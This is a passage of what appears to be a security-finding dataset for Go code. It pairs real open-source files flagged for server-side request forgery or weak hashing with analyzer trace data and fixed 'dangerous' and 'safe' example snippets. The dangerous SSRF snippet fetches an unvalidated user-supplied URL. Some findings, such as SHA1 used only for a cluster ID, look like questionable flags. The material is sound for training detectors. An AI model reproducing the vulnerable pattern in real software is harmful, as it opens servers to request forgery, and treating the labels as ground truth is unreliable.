c.Request(req)\n\tdefer closeResponse(resp)\n\treturn err\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "urlFor"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "String"}}, {"lineNo": 24, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "d5c34ced0605d88211c493dc527de6a56e2ff3139afcf6634aeaa31a08ddb22a", "license": {"spdx": ["MIT"], "repo": "jbsmith7741/task", "path": "bus/nsq/nsq.go", "repo_head_hexsha": "8ff2ecca95bb7574e9e81d3d98d8008de987623c", "stack_hexsha": "9224632d1d404d00f827e12982688a40a1b89d3e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 49, "entireCode": "package nsq\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"sort\"\n\n\tgonsq \"github.com/nsqio/go-nsq\"\n)\n\n// Option is used for instantiating an NSQ Consumer or\n// Producer. The Producer will ignore the Topic value.\ntype Option struct {\n\tNSQdAddrs []string // connects via TCP only\n\tLookupdAddrs []string // connects via HTTP only\n\n\t// if nil then the default nsq logger is used\n\tLogger *log.Logger\n\n\t// default is nsq.LogLevelInfo. Only set if a\n\t// custom logger is provided.\n\tLogLvl gonsq.LogLevel\n}\n\nfunc Topics(hosts []string) ([]string, error) {\n\ttopicMap := make(map[string]struct{})\n\tfor _, host := range hosts {\n\t\ttopics, err := getTopics(host)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// dedup same topics from different hosts\n\t\tfor _, t := range topics {\n\t\t\ttopicMap[t] = struct{}{}\n\t\t}\n\t}\n\ttopics := make([]string, 0, len(topicMap))\n\tfor t := range topicMap {\n\t\ttopics = append(topics, t)\n\t}\n\tsort.Strings(topics)\n\treturn topics, nil\n}\n\nfunc getTopics(host string) ([]string, error) {\n\tresp, err := http.Get(fmt.Sprintf(\"http://%v/topics\", host))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\tr := &topicResponse{}\n\terr = json.Unmarshal(body, r)\n\tif len(r.Topics) != 0 {\n\t\treturn r.Topics, err\n\t}\n\treturn r.Data.Topics, err\n}\n\ntype topicResponse struct {\n\tTopics []string `json:\"topics\"`\n\tData struct {\n\t\tTopics []string `json:\"topics\"`\n\t} `json:\"data\"`\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 49, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "b922f4bff68287ae61964bc4525634236336898afe974e61c25cae6da387baf6", "license": {"spdx": ["MIT"], "repo": "zilongTong/datakit", "path": "plugins/inputs/jenkins/input.go", "repo_head_hexsha": "73a658a402d8c126829a779cff8e665dab6400d3", "stack_hexsha": "e0685a29eddb76340aeed6d7b9d11776e8f04b92", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 155, "entireCode": "// Unless explicitly stated otherwise all files in this repository are licensed\n// under the MIT License.\n// This product includes software developed at Guance Cloud (https://www.guance.com/).\n// Copyright 2021-present Guance, Inc.\n\n// Package jenkins collects Jenkins metrics.\npackage jenkins\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"gitlab.jiagouyun.com/cloudcare-tools/cliutils\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/cliutils/logger\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/datakit\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/datakit/config\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/datakit/internal/tailer\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/datakit/io\"\n\t\"gitlab.jiagouyun.com/cloudcare-tools/datakit/plugins/inputs\"\n)\n\nfunc (*Input) SampleConfig() string {\n\treturn sample\n}\n\nfunc (*Input) Catalog() string {\n\treturn inputName\n}\n\nfunc (*Input) PipelineConfig() map[string]string {\n\tpipelineMap := map[string]string{\n\t\t\"jenkins\": pipelineCfg,\n\t}\n\treturn pipelineMap\n}\n\nfunc (n *Input) GetPipeline() []*tailer.Option {\n\treturn []*tailer.Option{\n\t\t{\n\t\t\tSource: inputName,\n\t\t\tService: inputName,\n\t\t\tPipeline: func() string {\n\t\t\t\tif n.Log != nil {\n\t\t\t\t\treturn n.Log.Pipeline\n\t\t\t\t}\n\t\t\t\treturn \"\"\n\t\t\t}(),\n\t\t},\n\t}\n}\n\nfunc (n *Input) setup() {\n\tn.Interval.Duration = config.ProtectedInterval(minInterval, maxInterval, n.Interval.Duration)\n\n\tclient, err := n.createHTTPClient()\n\tif err != nil {\n\t\tl.Errorf(\"[error] jenkins init client err:%s\", err.Error())\n\t\treturn\n\t}\n\tn.client = client\n}\n\nfunc (n *Input) Run() {\n\tl = logger.SLogger(inputName)\n\tl.Info(\"jenkins start\")\n\tio.FeedEventLog(&io.Reporter{Message: \"jenkins start ok, ready for collecting metrics.\", Logtype: \"event\"})\n\n\tn.setup()\n\n\ttick := time.NewTicker(n.Interval.Duration)\n\tdefer tick.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-tick.C:\n\t\t\tn.start = time.Now()\n\t\t\tn.getPluginMetric()\n\t\t\tif len(n.collectCache) > 0 {\n\t\t\t\terr := inputs.FeedMeasurement(inputName,\n\t\t\t\t\tdatakit.Metric,\n\t\t\t\t\tn.collectCache,\n\t\t\t\t\t&io.Option{CollectCost: time.Since(n.start)})\n\t\t\t\tn.collectCache = n.collectCache[:0]\n\t\t\t\tif err != nil {\n\t\t\t\t\tn.lastErr = err\n\t\t\t\t\tl.Errorf(err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tif n.lastErr != nil {\n\t\t\t\tio.FeedLastError(inputName, n.lastErr.Error())\n\t\t\t\tn.lastErr = nil\n\t\t\t}\n\t\tcase <-datakit.Exit.Wait():\n\t\t\tn.exit()\n\t\t\tl.Info(\"jenkins exit\")\n\t\t\treturn\n\n\t\tcase <-n.semStop.Wait():\n\t\t\tn.exit()\n\t\t\tl.Info(\"jenkins return\")\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (n *Input) exit() {\n\tif n.tail != nil {\n\t\tn.tail.Close()\n\t\tl.Info(\"jenkins log exit\")\n\t}\n}\n\nfunc (n *Input) Terminate() {\n\tif n.semStop != nil {\n\t\tn.semStop.Close()\n\t}\n}\n\nfunc (n *Input) RunPipeline() {\n\tif n.Log == nil || len(n.Log.Files) == 0 {\n\t\treturn\n\t}\n\n\tif n.Log.Pipeline == \"\" {\n\t\tn.Log.Pipeline = inputName + \".p\" // use default\n\t}\n\n\topt := &tailer.Option{\n\t\tSource: inputName,\n\t\tService: inputName,\n\t\tPipeline: n.Log.Pipeline,\n\t\tGlobalTags: n.Tags,\n\t\tIgnoreStatus: n.Log.IgnoreStatus,\n\t\tCharacterEncoding: n.Log.CharacterEncoding,\n\t\tMultilineMatch: `^\\d{4}-\\d{2}-\\d{2}`,\n\t}\n\n\tvar err error\n\tn.tail, err = tailer.NewTailer(n.Log.Files, opt)\n\tif err != nil {\n\t\tl.Error(err)\n\t\tio.FeedLastError(inputName, err.Error())\n\t\treturn\n\t}\n\n\tgo n.tail.Start()\n}\n\nfunc (n *Input) requestJSON(u string, target interface{}) error {\n\tu = fmt.Sprintf(\"%s%s\", n.URL, u)\n\n\treq, err := http.NewRequest(\"GET\", u, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// req.SetBasicAuth(n.Username, n.Password)\n\n\tresp, err := n.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close() //nolint:errcheck\n\n\tif resp.StatusCode != 200 {\n\t\treturn fmt.Errorf(\"response err:%+#v\", resp)\n\t}\n\n\treturn json.NewDecoder(resp.Body).Decode(target)\n}\n\nfunc (n *Input) createHTTPClient() (*http.Client, error) {\n\ttlsCfg, err := n.ClientConfig.TLSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif n.ResponseTimeout.Duration < time.Second {\n\t\tn.ResponseTimeout.Duration = time.Second * 5\n\t}\n\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: tlsCfg,\n\t\t},\n\t\tTimeout: n.ResponseTimeout.Duration,\n\t}\n\n\treturn client, nil\n}\n\nfunc (*Input) AvailableArchs() []string {\n\treturn datakit.AllArch\n}\n\nfunc (n *Input) SampleMeasurement() []inputs.Measurement {\n\treturn []inputs.Measurement{\n\t\t&Measurement{},\n\t}\n}\n\nfunc init() { //nolint:gochecknoinits\n\tinputs.Add(inputName, func() inputs.Input {\n\t\ts := &Input{\n\t\t\tInterval: datakit.Duration{Duration: time.Second * 30},\n\n\t\t\tsemStop: cliutils.NewSem(),\n\t\t}\n\t\treturn s\n\t})\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 153, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 153, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 155, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "7ed06575fa314e894c1c764da1153153f1b3b83e42d9019fc907264123e2dab7", "license": {"spdx": ["Apache-2.0"], "repo": "YiyongHuang/Alert-cli", "path": "pkg/utils/utils.go", "repo_head_hexsha": "d2534fa44d3a24dd5353f56ddf75dd5ec47ae129", "stack_hexsha": "7900b094ae095b12497de6a6a79ebaa91cd486a1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 162, "entireCode": "package utils\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\tclientapi \"github.com/prometheus/client_golang/api\"\n\tpromapi \"github.com/prometheus/client_golang/api/prometheus/v1\"\n\t\"github.com/prometheus/common/model\"\n\t\"k8s.io/klog\"\n)\n\nconst (\n\ttimeout = 100\n\t//sendMessageDelay = 1\n)\n\ntype weChatResponse struct {\n\tData int32 `json:\"data\"`\n\tCode int32 `json:\"code\"`\n\tBusinessCode int32 `json:\"businessCode\"`\n\tMessage string `json:\"message\"`\n}\n\ntype projectInfo struct {\n\tProject project `json:\"project\"`\n}\n\ntype project struct {\n\tDepartmentMember []departmentMember `json:\"department_member\"`\n}\n\ntype departmentMember struct {\n\tUsername string `json:\"username\"`\n}\n\nfunc NewPromClient(ThanosQueryURL string) (promapi.API, error) {\n\tclient, err := clientapi.NewClient(clientapi.Config{Address: ThanosQueryURL})\n\tif err != nil {\n\t\tklog.Errorf(\"new prometheus client err: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tpromClient := promapi.NewAPI(client)\n\n\treturn promClient, nil\n}\n\nfunc Query(promClient promapi.API, promql string) (model.Vector, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second*time.Duration(timeout))\n\tdefer cancel()\n\n\tresult, _, err := promClient.Query(ctx, promql, time.Now())\n\tif err != nil {\n\t\tklog.Errorf(fmt.Sprintf(\"prom api query err: %v\", err))\n\t\treturn nil, err\n\t}\n\n\tresultVector, ok := result.(model.Vector)\n\tif !ok {\n\t\tklog.Errorf(\"type of result err\")\n\t\treturn nil, err\n\t}\n\n\treturn resultVector, nil\n}\n\nfunc SendMessage(body []byte, url string) error {\n\tclient := &http.Client{\n\t\tTimeout: time.Second * 2,\n\t}\n\n\tpostReq, err := http.NewRequest(\"POST\", url, strings.NewReader(string(body)))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"new post request err: %w\", err)\n\t}\n\n\tpostResponse, err := client.Do(postReq)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"http client do post request err: %w\", err)\n\t}\n\tdefer postResponse.Body.Close()\n\n\tb, err := ioutil.ReadAll(postResponse.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"ioutil read response body err: %w\", err)\n\t}\n\tvar weChatRes weChatResponse\n\tif err := json.Unmarshal(b, &weChatRes); err != nil {\n\t\treturn fmt.Errorf(\"unmarshal weChat response body err: %w\", err)\n\t}\n\tif weChatRes.Code != 200 {\n\t\treturn fmt.Errorf(\"request interface err: [response code: %d, message: %s]\", weChatRes.Code, weChatRes.Message)\n\t}\n\n\t//time.Sleep(time.Second * sendMessageDelay)\n\treturn nil\n}\n\nfunc GetAlertBody(message, ServicePath string, labels *model.Sample) ([]byte, error) {\n\tmembers, err := getTos(string(labels.Metric[\"opsservice\"]), ServicePath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get Tos err: %w\", err)\n\t}\n\n\tvar postBody MessageBody\n\tif err := postBody.BuildMessageBody(message, members, []string{}); err != nil {\n\t\treturn nil, fmt.Errorf(\"build message error: %w\", err)\n\t}\n\n\tbody, err := json.Marshal(postBody)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"marshal post body err: %w\", err)\n\t}\n\n\treturn body, nil\n}\n\n// 查询对应服务接口获取对应接收通知的业务人员\nfunc getTos(opsservice, ServicePath string) ([]string, error) {\n\tclient := &http.Client{\n\t\tTimeout: time.Second * 2,\n\t}\n\n\tvar projectInfo projectInfo\n\tvar words []string\n\tvar pre = 0\n\tfor i := 0; i < len(opsservice); i++ {\n\t\tif opsservice[i] == '-' || opsservice[i] == '_' {\n\t\t\twords = append(words, opsservice[pre:i])\n\t\t\tpre = i + 1\n\t\t} else if i == (len(opsservice) - 1) {\n\t\t\twords = append(words, opsservice[pre:i+1])\n\t\t}\n\t}\n\n\tvar opsUrls []string\n\tfor _, item := range words {\n\t\tif len(opsUrls) == 0 {\n\t\t\topsUrls = append(opsUrls, item)\n\t\t} else {\n\t\t\tfor _, v := range opsUrls {\n\t\t\t\topsUrls = append(opsUrls, v)\n\t\t\t}\n\t\t\tfor idx := 0; idx < len(opsUrls); idx++ {\n\t\t\t\tif idx < len(opsUrls)/2 {\n\t\t\t\t\topsUrls[idx] = opsUrls[idx] + \"-\" + item\n\t\t\t\t} else {\n\t\t\t\t\topsUrls[idx] = opsUrls[idx] + \"_\" + item\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, opsUrl := range opsUrls {\n\t\tgetUrl := fmt.Sprintf(\"%s%s\", ServicePath, opsUrl)\n\t\tgetReq, err := http.NewRequest(\"GET\", getUrl, nil)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"new get request err: %w\", err)\n\t\t}\n\n\t\tgetResponse, err := client.Do(getReq)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"http client do get request err: %w\", err)\n\t\t}\n\n\t\tgetBody, err := ioutil.ReadAll(getResponse.Body)\n\t\tif err != nil {\n\t\t\tgetResponse.Body.Close()\n\t\t\treturn nil, fmt.Errorf(\"ioutil read response body err: %w\", err)\n\t\t}\n\n\t\tif err := json.Unmarshal(getBody, &projectInfo); err != nil {\n\t\t\tgetResponse.Body.Close()\n\t\t\treturn nil, fmt.Errorf(\"unmarshal service %s project info err: %w\", opsservice, err)\n\t\t}\n\t\tif len(projectInfo.Project.DepartmentMember) != 0 {\n\t\t\tgetResponse.Body.Close()\n\t\t\tbreak\n\t\t}\n\t}\n\tvar members []string\n\t//members = append(members, \"huangyiyong\")\n\tfor _, usr := range projectInfo.Project.DepartmentMember {\n\t\tmembers = append(members, usr.Username)\n\t}\n\tif len(members) == 0 {\n\t\treturn nil, fmt.Errorf(\"%s no member to send \", opsservice)\n\t}\n\treturn members, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 162, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "7a9f9e9e7ddaed8facd499f67aea602bffcfab60b33360ea72e6e61ed71408c3", "license": {"spdx": ["Apache-2.0"], "repo": "tio-serverless/ci", "path": "trigger.go", "repo_head_hexsha": "e94092f3e3d38c415fd6b9612dc73418d91ca551", "stack_hexsha": "be289921ab56dc97246db8ec9c9a35e16e6f7e09", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 32, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nconst travisUrl = \"https://api.travis-ci.com/repo/%s/requests\"\nconst message = `{\n\t\"request\": {\n\t\t\"branch\": \"%s\",\n\t\t\"message\": \"Trigger by api v3\"\n\t}\n}`\n\nfunc trigger(branch, name, token string) error {\n\tname = url.PathEscape(name)\n\ttravisUrl := fmt.Sprintf(travisUrl, name)\n\n\tmsg := fmt.Sprintf(message, branch)\n\n\tlog.Debugf(\"url: %s\", travisUrl)\n\tlog.Debugf(\"body: %s\", msg)\n\n\tpayload := strings.NewReader(msg)\n\n\treq, _ := http.NewRequest(\"POST\", travisUrl, payload)\n\n\treq.Header.Add(\"Travis-API-Version\", \"3\")\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Accept\", \"application/json\")\n\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"token %s\", token))\n\n\tres, _ := http.DefaultClient.Do(req)\n\n\tdefer res.Body.Close()\n\tbody, _ := ioutil.ReadAll(res.Body)\n\n\tlog.Debugf(\"Travis Returns [%s]\", string(body))\n\n\tif res.StatusCode < 300 && res.StatusCode >= http.StatusOK {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"Travis Returns %d\", res.StatusCode)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "e0ce17969122d03578364449ebad7ae8290371a2fa20b42d365ec65a7bc39b22", "license": {"spdx": ["MIT"], "repo": "go-rut/algorithm", "path": "hash/sha1.go", "repo_head_hexsha": "4806b60b0d621887001998807687e99ec2ac9387", "stack_hexsha": "8dbc15f5f14c85afa8397f9a492ce243c7a647c5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package hash\n\nimport (\n\t\"crypto/sha1\"\n)\n\nfunc NewSHA1() HashRepo {\n\treturn &defaultHash{\n\t\tHash: sha1.New(),\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "69f905f377ea20efcc0d3efa7af20a6f6d64f27d2230b60f8efb105d144a294d", "license": {"spdx": ["MIT"], "repo": "gitsrc/rafthub", "path": "serverEntry.go", "repo_head_hexsha": "a3eaa0203ad49032e0aadfe6847c0ad2149d1db5", "stack_hexsha": "a211ed296c84b9db4f3758be0bca77cd1c704e45", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 8, "entireCode": "// Copyright 2020 . All rights reserved.\n// Use of this source code is governed by an MIT-style\n// license that can be found in the LICENSE file.\n\npackage rafthub\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype serverEntry struct {\n\tid string\n\taddress string\n\tresolve string\n\tleader bool\n}\n\nfunc (e *serverEntry) clusterID() string {\n\tsrc := sha1.Sum([]byte(e.id))\n\treturn hex.EncodeToString(src[:])\n}\n\nfunc (e *serverEntry) host() string {\n\tidx := strings.LastIndexByte(e.address, ':')\n\tif idx == -1 {\n\t\treturn \"\"\n\t}\n\treturn e.address[:idx]\n}\n\nfunc (e *serverEntry) port() int {\n\tidx := strings.LastIndexByte(e.address, ':')\n\tif idx == -1 {\n\t\treturn 0\n\t}\n\tport, _ := strconv.Atoi(e.address[idx+1:])\n\treturn port\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": 